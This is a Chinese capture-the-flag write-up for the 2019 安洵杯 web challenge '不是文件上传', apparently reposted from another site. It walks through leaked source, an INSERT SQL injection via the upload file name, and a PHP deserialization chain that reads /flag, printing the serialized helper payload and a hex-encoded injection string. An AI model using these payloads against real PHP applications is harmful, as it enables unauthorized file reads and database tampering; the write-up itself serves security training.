不是文件上传

发表于 2021-01-16 分类于 Challenge ， 2019 ， 安洵杯 ， Web
Challenge | 2019 | 安洵杯 | Web | 不是文件上传

点击此处获得更好的阅读体验

WriteUp来源

https://xz.aliyun.com/t/6911

题目考点

- *信息泄漏*
- *SQL注入*
- *反序列化*

解题思路

获取源码

在主页的源码下方有一个开发人员留的信息，可知网站的源码已经被上传的github上面了。

而网站源码的名称就是网页页脚的wowouploadimage, github搜索这个名称，即可找到源码。

SQL注入 => 反序列化 => 读取Flag

在图片上传处，check函数并未对文件名(title)进行检测, 直接传递到最后的SQL语句当中。导致了SQL注入，并且属于Insert注入。

审计代码后可知，图片数据在保存的时候，会将图片的高度和宽度进行序列化然后保存。在查看图片信息的页面(show.php)会对其进行反序列化。

我们需要通过SQL注入修改保存的信息中的序列化的值来利用。

在helper.php中的helper类中有一个`__destruct`魔术方法可以利用，通过调用`view_files`中的`file_get_contents`来读取flag。

构造payload

反序列化payload生成：

```
<?php
class helper {
    protected $ifview = True;
    protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
?>
```

payload:

```
O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}
```

这里的属性值ifview和config都是protected类型的，所以需要将payload修改为：

```
O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
```

(以至于为什么要将修改为\0\0\0，是因为源码中在存取过程中对protected类型的属性进行了处理。)

正常上传图片的sql语句为：

```
INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('TIM截图20191102114857','f20c76cc4fb41838.jpg','jpg','pic/f20c76cc4fb41838.jpg','a:2:{s:5:"width";i:1264;
```

由于title处是我们能够控制的，所以构造文件名如下：

```
1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c3069667669657722 3b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg
```

因为上传的文件名中不能有双引号，所以将payload进行16进制编码。

使用 Brupsuite 将上传的 filename 修改为构造的文件名上传，再访问 show.php 即可得到flag。

 # Challenge # Web # 2019 # 安洵杯
easy_serialize_php
iamthinking